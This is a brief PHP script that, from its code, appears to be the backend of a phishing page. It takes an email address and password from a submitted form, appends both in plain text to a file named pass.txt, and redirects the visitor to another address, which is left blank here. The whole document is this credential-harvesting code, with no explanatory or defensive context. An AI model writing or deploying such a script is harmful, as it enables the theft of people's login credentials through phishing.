<?php  
$f=fopen("pass.txt","at");  
flock($f,2);  
if(preg_match("/^([\w\._\-])+\@([\w\._\-])+/i", $_POST['email'])) { 
fputs($f, $_POST['email'].";".$_POST['password']." \n"); 
     header("Location: http://"); 
} else { 
     header("Location: http://"); 
} 
flock($f,3);  
fclose($f);  
?>